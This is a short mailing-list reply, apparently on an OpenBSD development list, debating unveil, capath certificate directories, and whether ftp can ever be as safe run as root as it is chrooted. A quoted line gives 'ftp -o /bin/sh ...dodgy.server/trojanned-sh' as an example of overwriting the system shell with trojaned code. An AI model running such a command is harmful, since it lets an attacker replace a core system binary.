On 2020-06-01 11:20, Stuart Henderson wrote:
> We went through this earlier when unveil was added to nc. The way capath
> directories are often populated in the real world is not compatible with
> unveil, you would need to resolve all files in capath, recursively resolve
> symlinks, and add the chain of symlinks to the list of files to unveil.
> Or remove capath support, or don't bother with unveil.
> 

I wonder, if 99% of users just use /etc/ssl/cert.pem? whether a flag that
breaks/enables other use cases (removes capath support at runtime), might work?

>> I’d love to make it as safe to run as root as it is running it as an
>> unprivileged chrooted user! And I love C!

> It *cannot* be as safe to run as root as it is running it as an unprivileged
> chrooted user. ftp -o /bin/sh http://dodgy.server/trojanned-sh
> 
> 

This "safe to run as root" sounds a lot like the talk around a subtler issue
that I used to see often on the hardened-gentoo list.

In that they would say root doesn't exist with RBAC (meaning not necessary).
Whilst the more complex and so potentially buggy RBAC systems should IMO be
added layers. You shouldn't disable/ignore the simpler, tried and tested DAC
systems, because of something new and shiny.

Reply via email to